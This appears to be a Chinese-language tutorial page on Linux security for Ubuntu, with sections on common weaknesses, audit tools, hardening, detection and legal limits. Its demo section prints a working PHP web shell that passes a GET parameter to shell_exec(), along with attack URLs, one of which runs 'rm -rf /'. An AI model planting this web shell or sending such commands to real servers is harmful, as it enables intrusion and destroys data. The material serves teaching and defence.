Linux黑客教程: Ubuntu 命令和工具
Linux 是应用最广泛的服务器操作系统,尤其适用于 Web 服务器。它是开源的,这意味着任何人都可以阅读其源代码。这种透明性有利有弊:维护者可以利用它快速发现并修复漏洞,而攻击者则会研究相同的代码,寻找可利用的弱点。Linux 黑客攻击就是利用这些弱点来获取对系统的未经授权的访问权限。
以下各节将介绍 Linux 的定义、影响它的安全漏洞,以及如何使用 Linux 进行黑客攻击的实践操作。 Ubuntu以及您可以采取的应对措施。
Linux 简述
Linux 是一个开源操作系统。许多发行版都基于它构建,包括 Red Hat Enterprise LinuxFedora、Debian 和 Ubuntu由于源代码是公开的,研究人员、供应商和攻击者都可以查看它。攻击者利用这种访问权限寻找可利用的漏洞,而同样的可见性也使得维护者能够比封闭平台更快地发布修复程序。Linux 可以作为服务器、桌面、平板电脑或移动设备的操作系统运行。
Linux 程序可以通过图形界面或命令行运行。命令行操作比通过图形界面点击操作更快、更精确,这就是为什么安全测试人员在诸如 Linux 等发行版上进行测试时更倾向于使用命令行的原因。 Kali Linux 他们几乎所有时间都待在终端前。因此,掌握基本命令是一项实际操作的先决条件。
参考这个 Linux教程 就基本原理而言,以及 Kali Linux 教程 对于基于它们构建的以安全为中心的发行版而言。
常见的Linux安全漏洞和攻击途径
针对 Linux 的攻击很少依赖于罕见的漏洞利用。2025 年和 2026 年发布的遥测数据显示,大多数攻击都与此有关。 trac最终会发现,对手的弱点往往比较单一,了解这些弱点就能告诉你应该首先把防守精力投入到哪里。
- SSH 凭据强度不足或重复使用。 — 针对面向互联网的 SSH 的暴力破解和凭证填充攻击是 Linux 终端上观察到的绝大多数恶意活动。
- 未修补的内核和软件包缺陷 — Linux 内核团队于 2024 年成为 CVE 编号机构,报告的内核 CVE 从 2023 年的大约 290 个增加到次年的 3,500 多个,因此补丁积压很快就会累积起来。
- 错误配置 — 默认帐户、不必要的守护进程、全局可写文件和宽松的 sudo 规则授予了无需利用漏洞即可获得的权限。
- 易受攻击的Web应用程序 ——例如这些缺陷 SQL注入 跨站脚本攻击允许攻击者通过应用程序而非操作系统访问服务器。Web shell 是受感染 Linux 服务器上最常见的恶意程序。
- 权限提升漏洞 ——一些局部漏洞可以将受限账户升级为root账户。有些漏洞在内核中潜伏了十多年才被披露。
- 供应链和依赖性风险 — 第三方软件包、语言库和容器镜像引入了运维团队中没有人审查过的代码。
这些攻击都不需要攻击者直接攻破Linux系统本身。对2025起入侵事件的分析发现,大约五分之四的入侵事件根本不涉及恶意软件,而是依赖于系统配置错误和被盗凭证。
Linux 黑客工具
安全测试人员和系统管理员使用相同的扫描器:一方用于在攻击者之前发现漏洞,另一方用于确认修复是否有效。以下工具是审核 Linux 主机最常用的工具。
| 工具 | 类型 | 执照 | 典型应用场景:Linux |
| Nessus的 | 漏洞扫描器 | Commercial / 商业 | 扫描混合环境中的配置设置、缺失的补丁和网络服务。 |
| NMAP | 网络和端口扫描器 | 开源 | 识别服务器上运行的主机、它们提供的服务以及哪些端口是开放的。 |
| Lynis | 主机审计和加固 | 开源 | 根据强化基准对运行中的系统进行审核,并报告具体的补救措施。 |
| OpenVAS | 漏洞扫描器 | 开源 | 网络漏洞扫描功能由 Greenbone 维护,是其社区版的一部分。 |
该清单并不完整,仅供参考,旨在说明可用于审计的工具种类。 Ubuntu 以及其他 Linux 系统。较早的指南仍然推荐 SARA(安全审计员研究助手),但它的最终版本发布于 2009 年,其项目网站也已下线,因此 Lynis 和 OpenVAS 是保留下来的替代方案。
黑客活动:黑客攻击 Ubuntu 使用 PHP 的 Linux 系统
在这个实际场景中,我们将以 PHP 为例,探讨如何通过 Web 应用程序访问 Linux 主机。本次演示不涉及任何实际受害者。如果您想尝试一下,请在自己的机器上安装 LAMPP(XAMPP 的 Linux 版本)。
PHP 它提供了两个可用于运行操作系统命令的函数:exec() 和 shell_exec()。exec() 函数返回命令输出的最后一行,而 shell_exec() 函数则以字符串形式返回命令的完整结果。
为了演示,假设攻击者设法将以下文件上传到 Web 服务器。
<?php $cmd = isset($_GET['cmd']) ? $_GET['cmd'] : 'ls -l'; echo "executing shell command:-> $cmd</br>"; $output = shell_exec($cmd); echo "<pre>$output</pre>"; ?>
这里,
上述脚本从名为 cmd 的 GET 变量中获取命令。该命令使用 shell_exec() 执行,并将结果返回到浏览器中。
上述代码可利用以下方法进行攻击。 URL
http://localhost/cp/konsole.php?cmd=ls%20-l
这里,
- “…konsole.php?cmd=ls%20-l”将值 ls -l 赋值给变量 cmd。
该命令 Ubuntu 因此,服务器执行方式如下:
shell_exec('ls -l') ;
在 Web 服务器上执行上述代码会得到类似如下的结果。
输出结果仅显示当前目录中的文件及其权限。
现在假设攻击者传递的是以下命令。
rm -rf /
这里,
- “rm”命令用于删除文件。
- “rf”使rm命令以递归模式运行,删除所有文件夹和文件。
- “/”指示命令从根目录开始删除。
攻击 URL 看起来大概是这样的
http://localhost/cp/konsole.php?cmd=rm%20-rf%20/
因此,一个未经验证的参数就足以让攻击者获得 Web 服务器帐户的所有权限。接下来的两节内容旨在防止这种情况发生,并在预防措施失效时捕获攻击。
如何防止Linux黑客攻击
Linux 黑客攻击利用操作系统及其运行软件中的漏洞。组织可以采取以下控制措施,并将它们结合起来使用,以堵住上述大部分漏洞。
- 补丁管理 补丁程序修复攻击者利用的系统漏洞。既定的策略确保相关更新能够及时应用,而不是等到有人想起来才应用。
- 正确的操作系统配置 — 禁用不活跃的用户帐户和不必要的守护进程。更改默认设置,包括默认用户名、共享应用程序密码和默认端口号。
- SSH加固 — 禁用 root 用户登录和密码验证,仅允许指定用户或组进行访问,并限制身份验证重试次数。这可以关闭 Linux 系统上最容易受到攻击的入口点。
- 最小特权 — 只授予帐户和服务所需的权限,并将 sudo 限制为特定命令,而不是授予全面管理访问权限。
- 强制访问控制 — 保留 SELinux(Red Hat 系列)或 AppArmor(Debian 和 Ubuntu)以强制模式,使受损服务无法访问系统的其他部分。
- 输入验证 — 上述演示之所以有效,是因为请求数据到达了 shell 函数。切勿将用户输入传递给 exec() 或 shell_exec() 函数。
- 防火墙和网络分段 — 仅暴露服务真正需要的端口,使用 火墙 并通过网络分段来限制受感染主机可以访问的范围。
- 入侵检测系统 — 此类工具可用于检测对系统的未经授权的访问,有些工具还可以阻止此类访问尝试。
- 已测试备份 — 离线可恢复备份可以将上述破坏性命令变成暂时中断,而不是永久性丢失。
如何检测已被入侵的 Linux 系统
预防措施最终都会失效,所以第二个问题是你能多快发现问题。Linux 上的检测依赖于在事件发生前收集正确的证据,而不是在事件发生后。
- 审核记录 内核审计框架 auditd 会记录权限使用情况、文件访问和系统调用,这种记录方式即使进程遭到入侵也无法悄悄篡改。它会将这些日志转发到主机以外的中央收集器。
- 身份验证日志 — 在 /var/log/auth.log 或 /var/log/secure 中出现一连串的失败,然后出现一次成功的记录,这是经典的暴力破解特征。
- 意外的过程和连接 — 任何无法解释的监听服务或出站连接都应立即进行调查。
- 文件完整性监控 — 对系统二进制文件和配置文件进行哈希处理的工具,会标记不应该更改的文件的更改。
- 计划任务和启动项 — 持久化通常体现在 cron 作业、systemd 单元或 shell 配置文件脚本中。
- 新账户或修改后的账户 — 查找不熟悉的用户、UID 为 0 的任何第二个帐户以及无人添加的 SSH 密钥。
- Web服务器目录 — 因为 web shell 是 Linux 服务器上最常见的恶意文件,所以 web 根目录下的意外脚本文件值得密切关注。
- 定期审计 — 按计划运行 Lynis 等主机审计工具,并将每个报告视为工作清单,而不是一次性工作。
如果发现系统遭到入侵的证据,请隔离主机,在进行任何更改之前保存日志和磁盘映像,并使用已知良好的介质重建系统,而不是尝试清理正在运行的系统。证据处理方面的工作将在[此处]进行介绍。 数字取证.
Linux黑客行为的法律和道德界限
本页介绍的所有技术都可以在您拥有或已获得书面许可进行测试的系统上合法练习,但在几乎所有其他情况下都是非法的。上述练习特意在本地系统上运行,正是出于这个原因。
- 书面授权 ——签署的测试范围、商定的测试窗口以及指定的联系人,是渗透测试与网络攻击之间的区别所在。口头批准是不够的。
- 保持在范围内 — 未列出的主机、地址范围和技术是不允许的,即使它们可以访问。
- 谨慎处理数据 — 测试期间收集的证据仍然包含真实的个人数据,必须安全保存,并在测试结束后销毁。
- 负责任地报告 — 将调查结果告知所有者,并给予其时间进行修复,然后再发布任何内容。
法律风险是真实存在的:未经授权访问计算机系统属于刑事犯罪,违反了美国《计算机欺诈和滥用法案》和英国《计算机滥用法案》等法律。如果您想利用这些技能发展职业生涯,请选择一条公认的途径—— 安全认证 而且你还需要使用自己的实验室,而不是别人的服务器。


